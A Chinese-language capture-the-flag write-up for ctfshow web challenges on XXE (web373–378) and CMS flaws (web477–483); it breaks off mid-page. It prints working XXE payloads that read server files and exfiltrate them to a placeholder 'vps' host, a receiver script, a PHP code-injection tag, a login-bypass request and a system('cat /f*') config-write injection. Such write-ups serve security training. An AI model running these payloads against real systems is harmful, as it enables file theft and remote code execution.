\u6587\u6863\u6709\u81ea\u5df1\u7684\u4e00\u4e2a\u683c\u5f0f\u89c4\u8303\uff0c\u8fd9\u4e2a\u683c\u5f0f\u89c4\u8303\u662f\u7531\u4e00\u4e2a\u53eb\u505a DTD\uff08document type definition\uff09 \u7684\u4e1c\u897f\u63a7\u5236\u7684\uff0c\u4ed6\u5c31\u662f\u957f\u5f97\u4e0b\u9762\u8fd9\u4e2a\u6837\u5b50<\/p>\n\n\n\n<p><strong>1.\u901a\u7528\u5b9e\u4f53<\/strong><\/p>\n\n\n\n<p>\u7528 &amp;\u5b9e\u4f53\u540d; \u5f15\u7528\u7684\u5b9e\u4f53\uff0c\u4ed6\u5728DTD \u4e2d\u5b9a\u4e49\uff0c\u5728 XML \u6587\u6863\u4e2d\u5f15\u7528<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?xml version=\"1.0\" encoding=\"utf-8\"?&gt; \n&lt;!DOCTYPE updateProfile &#91;&lt;!ENTITY file SYSTEM \"file:\/\/\/c:\/windows\/win.ini\"&gt; ]&gt; \n&lt;updateProfile&gt;  \n    &lt;firstname&gt;Joe&lt;\/firstname&gt;  \n    &lt;lastname&gt;&amp;file;&lt;\/lastname&gt;  \n    ... \n&lt;\/updateProfile&gt;\n<\/code><\/pre>\n\n\n\n<p><strong>2.\u53c2\u6570\u5b9e\u4f53\uff1a<\/strong><\/p>\n\n\n\n<p>(1)\u4f7f\u7528 % \u5b9e\u4f53\u540d(\u8fd9\u91cc\u9762\u7a7a\u683c\u4e0d\u80fd\u5c11) \u5728 DTD \u4e2d\u5b9a\u4e49\uff0c\u5e76\u4e14\u53ea\u80fd\u5728 DTD \u4e2d\u4f7f\u7528 %\u5b9e\u4f53\u540d; \u5f15\u7528<br>(2)\u53ea\u6709\u5728 DTD \u6587\u4ef6\u4e2d\uff0c\u53c2\u6570\u5b9e\u4f53\u7684\u58f0\u660e\u624d\u80fd\u5f15\u7528\u5176\u4ed6\u5b9e\u4f53<br>(3)\u548c\u901a\u7528\u5b9e\u4f53\u4e00\u6837\uff0c\u53c2\u6570\u5b9e\u4f53\u4e5f\u53ef\u4ee5\u5916\u90e8\u5f15\u7528<\/p>\n\n\n\n<p>\u793a\u4f8b\u4ee3\u7801\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;!ENTITY % an-element \"&lt;!ELEMENT mytag (subtag)&gt;\"&gt; \n&lt;!ENTITY % remote-dtd SYSTEM \"http:\/\/somewhere.example.org\/remote.dtd\"&gt; \n%an-element; %remote-dtd;\n<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web373<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\nerror_reporting(0);\nlibxml_disable_entity_loader(false);\n$xmlfile = file_get_contents('php:\/\/input');\nif(isset($xmlfile)){\n    \/\/DOMDocument,\u8868\u793a\u6574\u4e2aHTML\u6216XML\u6587\u6863;\u4f5c\u4e3a\u6587\u6863\u6811\u7684\u6839\u3002\n    $dom = new DOMDocument();\n    \/\/loadXML,\u4ece\u4e00\u4e2a\u5b57\u7b26\u4e32\u4e2d\uff0c\u52a0\u8f7d\u4e00\u4e2aXML\u6587\u6863\n    $dom-&gt;loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);\n    \/\/\u5c06XML\u6587\u6863\u4f5c\u4e3a\u4e00\u4e2a\u5bfc\u5165\u4e00\u4e2aXML\u5bf9\u8c61\n    $creds = simplexml_import_dom($dom);\n    \/\/XML\u5bf9\u8c61\u6307\u5411ctfshow\u7684\u5143\u7d20\u6807\u7b7e\n    $ctfshow = $creds-&gt;ctfshow;\n    echo $ctfshow;\n}\nhighlight_file(__FILE__);    <\/code><\/pre>\n\n\n\n<p>\u8fd9\u91cc\u6211\u4eec\u5c31\u53ef\u4ee5POST\u4f20\u4e00\u4e2a\u8bfb\u53d6\u670d\u52a1\u5668\u7684xml\uff0c\u88abphp:\/\/input\u89e3\u6790\u5e76\u52a0\u8f7d\u540e\uff0c\u901a\u8fc7echo\u6211\u4eec\u5c31\u53ef\u4ee5\u770b\u5230flag\u4e86\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;!DOCTYPE test &#91;\n&lt;!ENTITY xxe SYSTEM \"file:\/\/\/flag\"&gt;\n]&gt;\n&lt;sun&gt;\n&lt;ctfshow&gt;&amp;xxe;&lt;\/ctfshow&gt;\n&lt;\/sun&gt;\n<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/04\/1-38-1024x384.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"384\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/04\/1-38-1024x384.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1583\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">web374<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\nerror_reporting(0);\nlibxml_disable_entity_loader(false);\n$xmlfile = file_get_contents('php:\/\/input');\nif(isset($xmlfile)){\n    $dom = new DOMDocument();\n    $dom-&gt;loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);\n}\nhighlight_file(__FILE__);   <\/code><\/pre>\n\n\n\n<p>\u8fd9\u91ccload\u5b8c\u5c31\u4e0decho\u4e86\uff0c\u4e5f\u5c31\u662f\u6ca1\u56de\u663e\u4e86\uff0c\u6211\u4eec\u53ef\u4ee5\u8003\u8651\u5916\u5e26\u5230\u81ea\u5df1\u7684vps\u4e0a\uff1a<\/p>\n\n\n\n<p><strong>xml.php<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\n$content = $_GET&#91;'1'];\nif(isset($content)){\n    file_put_contents('flag.txt','Last update time:'.date(\"Y-m-d H:i:s\").\"\\n\".base64_decode($content));\n}else{\n    echo 'no data input';\n}<\/code><\/pre>\n\n\n\n<p><strong>xxe.xml<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;!ENTITY % all\n\"&lt;!ENTITY &amp;#x25; send SYSTEM 'http:\/vps\/xml.php?1=%file;'\"\n&gt;\n%all;<\/code><\/pre>\n\n\n\n<p>\u628a\u8fd9\u4e24\u4e2a\u6587\u4ef6\u653e\u5728\u81ea\u5df1vps\u7684\u7f51\u7ad9\u76ee\u5f55\u91cc\uff0cpayload\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;!DOCTYPE ANY&#91;\n&lt;!ENTITY % file SYSTEM \"php:\/\/filter\/read=convert.base64-encode\/resource=\/flag\"&gt;\n&lt;!ENTITY % remote SYSTEM \"http:\/\/vps\/xxe.xml\"&gt;\n%remote;\n%send;\n]&gt;<\/code><\/pre>\n\n\n\n<p>\u539f\u7406\u5c31\u662f\u7528xml\u591a\u6b21\u5916\u5e26\u6700\u540e\u63a5\u53d7flag\u6570\u636e\uff0c\u540e\u9762\u5728\u81ea\u5df1\u670d\u52a1\u5668\u4e0a\u7684flag.txt\u5c31\u662fflag\u7684\u5185\u5bb9\u4e86<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">web375<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\nerror_reporting(0);\nlibxml_disable_entity_loader(false);\n$xmlfile = file_get_contents('php:\/\/input');\nif(preg_match('\/&lt;\\?xml version=\"1\\.0\"\/', $xmlfile)){\n    die('error');\n}\nif(isset($xmlfile)){\n    $dom = new DOMDocument();\n    $dom-&gt;loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);\n}\nhighlight_file(__FILE__);    <\/code><\/pre>\n\n\n\n<p>\u8fc7\u6ee4\u4e86\u7248\u672c\u53f7\uff0c\u4f46\u6211\u4eec\u672c\u6765\u5c31\u6ca1\u7528\u8fd9\u4e2a\uff0cpayload\u8fd8\u662f\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;!DOCTYPE ANY&#91;\n&lt;!ENTITY % file SYSTEM \"php:\/\/filter\/read=convert.base64-encode\/resource=\/flag\"&gt;\n&lt;!ENTITY % remote SYSTEM \"http:\/\/vps\/xxe.xml\"&gt;\n%remote;\n%send;\n]&gt;<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web376<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\nerror_reporting(0);\nlibxml_disable_entity_loader(false);\n$xmlfile = file_get_contents('php:\/\/input');\nif(preg_match('\/&lt;\\?xml version=\"1\\.0\"\/i', $xmlfile)){\n    die('error');\n}\nif(isset($xmlfile)){\n    $dom = new DOMDocument();\n    $dom-&gt;loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);\n}\nhighlight_file(__FILE__);    <\/code><\/pre>\n\n\n\n<p>\u540c\u4e0a<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">web377<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\n\nerror_reporting(0);\nlibxml_disable_entity_loader(false);\n$xmlfile = file_get_contents('php:\/\/input');\nif(preg_match('\/&lt;\\?xml version=\"1\\.0\"|http\/i', $xmlfile)){\n    die('error');\n}\nif(isset($xmlfile)){\n    $dom = new DOMDocument();\n    $dom-&gt;loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);\n}\nhighlight_file(__FILE__);    <\/code><\/pre>\n\n\n\n<p>\u591a\u8fc7\u6ee4\u4e86 http \u5934\uff0c\u5229\u7528 utf-16 \u7f16\u7801<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import requests\nurl = 'http:\/\/5d09502d-95cc-48df-a33f-0c87a79d628e.challenge.ctf.show\/'\npayload = '''\n&lt;!DOCTYPE ANY&#91;\n&lt;!ENTITY % file SYSTEM \"php:\/\/filter\/read=convert.base64-encode\/resource=\/flag\"&gt;\n&lt;!ENTITY % remote SYSTEM \"http:\/\/vps\/xxe.xml\"&gt;\n%remote;\n%send;\n]&gt;\n'''\npayload = payload.encode('utf-16')\nrep = requests.post(url=url, data=payload)\nprint(rep.text)\n<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web378<\/h2>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/04\/1-39.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"636\" height=\"312\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/04\/1-39.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1584\"  sizes=\"auto, (max-width: 636px) 100vw, 636px\" \/><\/div><\/figure>\n\n\n\n<p>\u6293\u5305\u53ef\u4ee5\u53d1\u73b0\u767b\u5f55\u4f20\u503c\u662f\u4ee5xml\u5f62\u5f0f\u4f20\u7684\uff0c\u6240\u4ee5\u66ff\u6362\u6210\u6211\u4eec\u7684xml payload\u5373\u53ef<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?xml version=\"1.0\"?&gt;\n&lt;!DOCTYPE ANY&#91;\n&lt;!ENTITY file SYSTEM \"file:\/\/\/flag\"&gt;\n]&gt;\n&lt;user&gt;\n&lt;username&gt;&amp;file;&lt;\/username&gt;\n&lt;password&gt;123&lt;\/password&gt;\n&lt;\/user&gt;\n<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/04\/1-40-1024x367.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"367\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/04\/1-40-1024x367.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1585\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h1 class=\"wp-block-heading\">web\u5165\u95e8\u00b7CMS<\/h1>\n\n\n\n<h2 class=\"wp-block-heading\">web477<\/h2>\n\n\n\n<p>\/admin\u8fdb\u540e\u53f0\uff0c\u8d26\u53f7\u5bc6\u7801\u90fd\u662fadmin\uff0c\u6a21\u677f\u5904\u6709\u4e2a\u81ea\u5b9a\u4e49\u6807\u7b7e\uff0c\u6dfb\u52a0\u6807\u7b7e\uff0cpayload\u4e3a\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>1111111111\";}&lt;?php phpinfo()?&gt;<\/code><\/pre>\n\n\n\n<p>\u7136\u540e\u9884\u89c8\uff0c\u5168\u5c40\u641c\u7d22ctfshow{\u5373\u53ef<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">web478<\/h2>\n\n\n\n<p><a href=\"https:\/\/blog.csdn.net\/weixin_47533648\/article\/details\/128783722\">PHPCMSv9.6.0\u524d\u7aef\u4efb\u610f\u6587\u4ef6\u4e0a\u4f20\u6f0f\u6d1e\u5206\u6790<\/a><\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-88-1024x383.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"383\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-88-1024x383.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1936\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-89-1024x193.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"193\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-89-1024x193.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1937\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">web479<\/h2>\n\n\n\n<p>\u53c2\u8003<a href=\"https:\/\/github.com\/Y4tacker\/Web-Security\/blob\/4aac5ffb955667b15ee3110fb99f6df1016c6760\/%E6%A1%86%E6%9E%B6%E6%BC%8F%E6%B4%9EAndCMS%E5%AE%A1%E8%AE%A1\/CMS\/iCMS\/iCMS-7.0.1%E5%89%8D%E5%8F%B0%E7%99%BB%E5%BD%95%E7%BB%95%E8%BF%87%E5%88%86%E6%9E%90\/1.md\">iCMS-7.0.1\u540e\u53f0\u767b\u5f55\u7ed5\u8fc7\u5206\u6790<\/a><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>GET \/admincp.php HTTP\/1.1\nHost: 56520f28-8ca2-40ef-8dff-6ee0c476aa37.challenge.ctf.show\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko\/20100101 Firefox\/113.0\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,*\/*;q=0.8\nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\nAccept-Encoding: gzip, deflate\nConnection: close\nCookie: _ga=GA1.2.178448525.1671190440;iCMS_iCMS_AUTH=200b0c70aTDO4VR0iaABkIaqxhTDoDkQCdKpODWfphpw3hG%2BGfm47PMHJP32HEAgrAOwA9XWA1L96fSY9oc\nX-forwarded-for:192.168.0.1 \nUpgrade-Insecure-Requests: 1\n<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-90-1024x564.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"564\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-90-1024x564.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1938\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-91.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"953\" height=\"325\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-91.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1939\"  sizes=\"auto, (max-width: 953px) 100vw, 953px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">web480<\/h2>\n\n\n\n<p><a href=\"https:\/\/chybeta.github.io\/2017\/12\/11\/CVE-2016-7565-Exponent-CMS-2-3-9-%E9%85%8D%E7%BD%AE%E6%96%87%E4%BB%B6%E5%86%99%E5%85%A5-getshell%E5%88%86%E6%9E%90\/\">[CVE-2016-7565]Exponent CMS 2.3.9 \u914d\u7f6e\u6587\u4ef6\u5199\u5165 getshell\u5206\u6790<\/a><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>index.php?conf&#91;USER]=25\\\\');system(\"cat \/f*\");\/\/<\/code><\/pre>\n\n\n\n<p>\u5199\u9a6c\u90a3\u4e2a\u6ca1\u6cd5\u6267\u884c\uff0c\u5f88\u62bd\u8c61\uff0c\u76f4\u63a5get flag\u5427\uff0c\u7136\u540e\u8bbf\u95ee\/config.php<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">web481<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\nerror_reporting(0);\n\nif(md5($_GET&#91;'session'])=='3e858ccd79287cfe8509f15a71b4c45d'){\n$configs=\"c\".\"o\".\"p\".\"y\";\n$configs(trim($_GET&#91;'url']),$_GET&#91;'cms']);}\n\n?&gt;\nnothing here<\/code><\/pre>\n\n\n\n<p>3e858ccd79287cfe8509f15a71b4c45d\u89e3\u51fa\u6765\u662fctfshow\uff0c$configs\u5b9e\u9645\u4e0a\u5c31\u662fcopy\uff0c\u6240\u4ee5\u8fd9\u91cc\u5b9e\u9645\u4e0a\u6267\u884c\u7684\u5c31\u662f\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>copy(trim($_GET&#91;'url']),$_GET&#91;'cms']);}<\/code><\/pre>\n\n\n\n<p><code>trim($str)<\/code> \u662f PHP \u5185\u7f6e\u51fd\u6570\uff0c\u7528\u4e8e\u53bb\u9664\u5b57\u7b26\u4e32\u4e24\u7aef\u7684\u7a7a\u683c\u548c\u7279\u6b8a\u5b57\u7b26\uff0c\u9ed8\u8ba4\u60c5\u51b5\u4e0b\u4f1a\u53bb\u9664\u7a7a\u683c\u3001\u5236\u8868\u7b26\u3001\u6362\u884c\u7b26\u3001\u56de\u8f66\u7b26\u3001\u5782\u76f4\u5236\u8868\u7b26\u7b49\u5e38\u89c1\u7684\u4e0d\u53ef\u89c1\u5b57\u7b26\uff0c\u8fd4\u56de\u5904\u7406\u540e\u7684\u5b57\u7b26\u4e32\u7ed3\u679c\uff0c\u6ca1\u5565\u7528\uff0c\u6240\u4ee5\u8fd9\u91cc\u5b9e\u9645\u4e0a\u6267\u884c\u7684\u5c31\u662f\u628a$_GET[&#8216;url&#8217;])\u6587\u4ef6\u590d\u5236\u5230$_GET[&#8216;cms&#8217;])\u8def\u5f84\u53bb\uff0c\u7136\u540e\u6ca1\u6709\u4efb\u4f55\u5176\u4ed6\u8fc7\u6ee4\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-92.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"970\" height=\"398\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-92.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1942\"  sizes=\"auto, (max-width: 970px) 100vw, 970px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-93-1024x695.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"695\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-93-1024x695.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1943\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">web483<\/h2>\n\n\n\n<p>inc\/class.inc.php\u4e2d\u7684GuideFidCache<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/*\u5bfc\u822a\u6761\u7f13\u5b58*\/\n    function GuideFidCache($table,$filename=\"guide_fid.php\",$TruePath=0){\n        global $db,$webdb,$pre;\n        if($table==\"{$pre}sort\"&amp;&amp;$webdb&#91;sortNUM]&gt;500){\n            return ;\n        }\n        $show=\"&lt;?php \\r\\n\";\n        \/\/$showindex=\"&lt;a href='javascript:guide_link(0);' class='guide_menu'&gt;&gt;\u9996\u9875&lt;\/a&gt;\";\n        $showindex=\"&lt;a href='\\$webdb&#91;www_url]' class='guide_menu'&gt;&gt;\u9996\u9875&lt;\/a&gt;\";\n        $query=$db-&gt;query(\"SELECT fid,name FROM $table \");\n        \/\/ \u5e26\u53cc\u5f15\u53f7\u5199\u5165\u53d8\u91cf\uff0c\u5e76\u4e14\u672a\u8fc7\u6ee4\u3002\n        while( @extract($db-&gt;fetch_array($query)) ){\n            $show.=\"\\$GuideFid&#91;$fid]=\\\"$showindex\".$this-&gt;SortFather($table,$fid).\"\\\";\\r\\n\";\n        }\n        $show.=$shows.'?&gt;';\n        if($TruePath==1){\n            write_file($filename,$show);\n        }else{\n            write_file(ROOT_PATH.\"data\/$filename\",$show);\n        }\n    }<\/code><\/pre>\n\n\n\n<p>\u8fd9\u91cc\u4f7f\u7528\u4e86\u53cc\u5f15\u53f7\u5199\u5165\u53d8\u91cf\uff0c\u5e76\u4e14\u6ca1\u6709\u4efb\u4f55\u8fc7\u6ee4\uff0c\u76f4\u63a5\u6dfb\u52a0\u680f\u76ee\u5199\u9a6c\u5373\u53ef<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/06\/1-9-1024x576.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  